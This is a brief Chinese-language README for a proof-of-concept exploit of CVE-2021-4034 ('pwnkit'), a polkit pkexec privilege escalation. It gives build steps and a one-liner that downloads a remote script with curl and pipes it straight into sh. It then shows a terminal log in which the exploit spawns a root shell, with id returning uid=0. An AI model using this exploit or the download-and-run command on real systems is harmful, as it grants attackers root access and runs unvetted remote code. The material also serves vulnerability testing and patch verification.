CVE-2021-4034 的 PoC，被称为 pwnkit
只需运行 make make，然后检查 release 文件夹；或者如果你更喜欢一行命令
sh -c "$(curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh)"
dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit
Spawning root shell!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1000(dzonerzy)